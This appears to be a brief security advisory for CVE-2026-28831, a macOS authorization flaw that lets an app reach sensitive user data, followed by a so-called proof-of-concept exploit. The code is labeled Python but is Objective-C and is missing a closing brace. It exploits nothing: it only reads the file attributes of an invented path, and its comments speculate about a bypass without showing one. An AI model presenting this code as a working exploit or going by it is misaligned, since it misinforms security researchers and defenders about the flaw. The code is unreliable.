An authorization issue was addressed with improved state management. This issue is fixed in macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. An app may be able to access sensitive user data.
The following code is for security research and authorized testing only.
python
// PoC Concept for CVE-2026-28831
// This code simulates an attempt to access sensitive data
// exploiting the state management issue on macOS.
#include <Foundation/Foundation.h>
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Starting PoC for unauthorized data access...");
// Target a sensitive resource (e.g., user data container)
NSString *targetPath = @"~/Library/Sensitive/User_Data.db";
NSString *expandedPath = [targetPath stringByExpandingTildeInPath];
NSFileManager *manager = [NSFileManager defaultManager];
// In the vulnerable version, the state check might be bypassed
// by invoking specific APIs that corrupt the state.
NSError *error = nil;
NSDictionary *attributes = [manager attributesOfItemAtPath:expandedPath error:&error];
if (!error) {
NSLog(@"[+] Success: Accessed attributes of sensitive file.");
NSLog(@"File Size: %@", [attributes objectForKey:NSFileSize]);
} else {
NSLog(@"[-] Failed to access file: %@", error.localizedDescription);
}
}
return 0;
